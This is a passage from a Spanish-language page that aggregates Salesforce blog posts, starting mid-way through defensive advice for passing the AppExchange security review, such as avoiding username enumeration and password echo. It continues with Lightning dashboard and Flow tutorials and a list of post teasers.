Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.
La guía OWASP es un gran recurso a seguir.
El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.
Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .
Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.
Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.
Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.
Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.
Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.
OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.
En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:
Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:
Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).
Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.
Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).
Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.
Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.
Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.
Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.
Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .
Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.
Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.
Añadir a holgura Suscríbete a RSS
Última actualización el 14 de agosto de 2023 por Rakesh Gupta
¿Cómo se puede transferir la propiedad de Lightning Dashboards en Salesforce?
Después de leer este blog, podrá:
Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC), fue contactada por el director de ventas Eric Brown. Le pidió que cambiara el propietario de Opportunity Pipeline de 'Sarika Gupta' a 'Rakesh Gupta'.
Después del lanzamiento de Winter'24 , ahora es posible actualizar los tableros Lightning transfiriendo la propiedad del tablero cuando cambian las responsabilidades o el creador del tablero deja su organización. El nuevo propietario tiene control total sobre el contenido del tablero. Anteriormente, tenía que clonar o volver a crear el tablero cuando el creador pasó a otras responsabilidades.
Para iniciar la transferencia de la propiedad del tablero, el usuario debe tener lo siguiente:
Siga los pasos a continuación para transferir la propiedad del panel Lightning:
La propiedad de la cartera de oportunidades se transfirió con éxito a Rakesh Gupta.
¡Quiero saber de ti!
¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.
Seguir leyendo
Última actualización el 3 de agosto de 2023 por Rakesh Gupta
Después de leer este blog, podrá:
👉 Anteriormente, escribí varias publicaciones sobre la validación y Salesforce Flow. ¿Por qué no echarles un vistazo mientras estás en ello?
A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha encomendado un requisito específico. Debe restringir que los usuarios creen una nueva oportunidad dentro de la cuenta si existe una oportunidad abierta. El siguiente texto debe utilizarse para el mensaje de error:
Utilice la oportunidad abierta existente dentro de esta cuenta. Si necesita más ayuda o tiene preguntas sobre la gestión de oportunidades, póngase en contacto con el soporte de TI.
Una regla de validación permite que un administrador del sistema defina una lógica personalizada y mensajes de error para garantizar la integridad de los datos. La regla puede contener una fórmula o una expresión que evalúe los datos en uno o más campos y devuelva un valor verdadero o falso . Por ejemplo, la regla incluye un mensaje de error que se muestra cuando devuelve un valor verdadero que indica que se están ingresando datos incorrectos. Recuerde, una regla de validación solo se activa cuando se crea o edita un registro .
El flujo antes de guardar es un disparador que se realiza antes de una operación , como una inserción, actualización, eliminación, etc. Puede usar dicho flujo para verificar o cambiar valores antes de que los datos se actualicen o inserten en la base de datos. Guardar antes es mucho más rápido porque cada registro no se guarda en la base de datos nuevamente. Evitar ese procedimiento de guardado adicional significa omitir otra ronda de reglas de asignación, reglas de respuesta automática, reglas de flujo de trabajo y otras personalizaciones que tardan en ejecutarse. Use un flujo antes de guardar en los siguientes casos de uso:
Lea este artículo para obtener más información sobre cuándo usar el flujo anterior frente al flujo posterior al guardado.
Ahora usaremos el elemento Decisión para verificar si el registro de oportunidad fue creado o actualizado.
El siguiente paso es usar el elemento Obtener registros para encontrar oportunidades abiertas relacionadas en la cuenta.
Ahora, usaremos el elemento Decisión para comprobar si el elemento Obtener registros anterior devuelve un registro de oportunidades abiertas.
Al final, Benjamin's Flow se verá como la siguiente captura de pantalla:
Una vez que todo se vea bien, realice los siguientes pasos:
¡Casi llegamos! Una vez que todo se vea bien, haga clic en el botón Activar .
👉 Mira el video para obtener instrucciones paso a paso.
¡Quiero saber de ti!
¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.
Esta guía se publicó originalmente en Medium en 2021 y se actualizó con la orientación y los consejos más recientes, incluidas las nuevas funciones de seguridad como parte de los lanzamientos recientes y la nueva estructura de precios para las revisiones.
La publicación Prepare su aplicación para pasar la revisión de seguridad de AppExchange apareció primero en el blog de desarrolladores de Salesforce .
Obtenga una mirada más detallada al rendimiento de Lightning Experience, conozca las áreas de mejora y los próximos pasos planificados en los próximos lanzamientos.
La publicación Lightning Experience with Lightning Speed (¿Ya llegamos?) apareció por primera vez en el blog de desarrolladores de Salesforce .
Descubra cómo una red de entrega de contenido (CDN) puede aumentar su rendimiento y cómo puede habilitarla para su organización hoy.
La publicación Activar CDN para cargar Lightning Experience más rápido apareció primero en el blog de desarrolladores de Salesforce .
Asegúrese de que sus componentes se integren bien en el motor de tiempo de ejecución de flujo y funcionen como se espera en este blog sobre Screen Flows.
La publicación Mejores prácticas de LWC para flujos de pantalla apareció primero en el blog de desarrolladores de Salesforce .
Última actualización el 9 de enero de 2023 por Rakesh Gupta Con cada lanzamiento, Salesforce agrega muchas funcionalidades nuevas a Lightning Experience, lo que lo hace más productivo y lo ayuda a brindar una mejor experiencia al cliente. Actualmente, el lanzamiento de Spring'23 se encuentra bajo el programa de prelanzamiento. Si no has leído el 570 completo
La publicación ¡Lanzamiento Spring'23 de las diez mejores gemas de Salesforce Lightning Experience! apareció primero en Automation Champion .
Seguir leyendo
Con el lanzamiento de Winter '23, ahora enviamos LightningModal, un componente Lightning base que simplifica la incorporación de modales en sus componentes.
La publicación Una inmersión profunda en el componente base LightningModal apareció primero en el blog de desarrolladores de Salesforce .
Última actualización el 11 de diciembre de 2022 por Rakesh Gupta Gran idea o pregunta duradera: ¿Cómo se usa el nuevo componente de búsqueda de opciones (beta) para mostrar registros filtrados? Este blog es una continuación de mi blog anterior: seleccione varios registros en el componente de búsqueda. En el blog anterior, hablé
La publicación Create Filtered Lookup with Choice Lookup apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 8 de diciembre de 2022 por Rakesh Gupta Gran idea o pregunta duradera: al usar el componente de búsqueda, permita que sus usuarios seleccionen más de un registro. Este blog es una continuación de mi blog anterior: ¿Qué? ¿Usar campo de búsqueda en un elemento de pantalla de flujo? En el blog anterior,
La publicación Seleccione varios registros en el componente de búsqueda apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 20 de noviembre de 2022 por Rakesh Gupta Han pasado aproximadamente tres años desde que aprobé el examen de Einstein Analytics and Discovery Consultant. En las últimas semanas, muchas personas se comunicaron conmigo para pedirme orientación y un camino para convertirme en un consultor certificado de análisis y descubrimiento de Einstein.
La publicación How to Pass Tableau CRM & Einstein Discovery Consultant Exam apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 20 de noviembre de 2022 por Rakesh Gupta Como consultor certificado de Sales Cloud recién nombrado, estoy compartiendo mis experiencias de estudio con usted y quiero que sea el próximo en hacerlo. ¡Así que prepárate y sumérgete! 👉 Ya que estás aquí, quizás quieras
La publicación Cómo aprobar el examen de certificación de consultor de Sales Cloud apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 27 de septiembre de 2022 por Rakesh Gupta Han pasado nueve años desde que aprobé el examen de administrador avanzado de Salesforce. En las últimas semanas, muchas personas se comunicaron conmigo para pedirme orientación y un camino para convertirme en un administrador avanzado certificado. Eso me da una idea
La publicación Cómo aprobar el examen de certificación de administrador avanzado de Salesforce apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 16 de septiembre de 2022 por Rakesh Gupta Con un inmenso placer, me gustaría compartir que aprobé el examen de certificación Platform App Builder hace un mes. Me tomó 50 minutos revisar todas las preguntas antes de presionar el botón de enviar. Después de un clic más del
La publicación Cómo aprobar el examen de certificación de Salesforce Platform App Builder apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 13 de septiembre de 2022 por Rakesh Gupta Como asociado certificado de Salesforce recién nombrado, estoy compartiendo mis experiencias de estudio con usted y quiero que sea el próximo en hacerlo. ¡Así que prepárate y sumérgete! 👉 Ya que estás aquí, es posible que desees
La publicación Cómo aprobar el examen de certificación de asociado certificado de Salesforce apareció primero en Automation Champion .
Seguir leyendo
Última actualización el 10 de septiembre de 2022 por Rakesh Gupta El marco moderno del componente Lightning es un marco de interfaz de usuario para desarrollar aplicaciones web dinámicas para dispositivos móviles y de escritorio. Como es el caso con cada lanzamiento, el último lanzamiento de Winter'23 está repleto de características ricas, ¡incluidas las características del componente Lightning recientemente agregado! Corrientemente,
La publicación ¡Lanzamiento Winter'23 de las 5 mejores gemas del componente web Lightning de Salesforce! apareció por primera vez en Automation Champion .
Seguir leyendo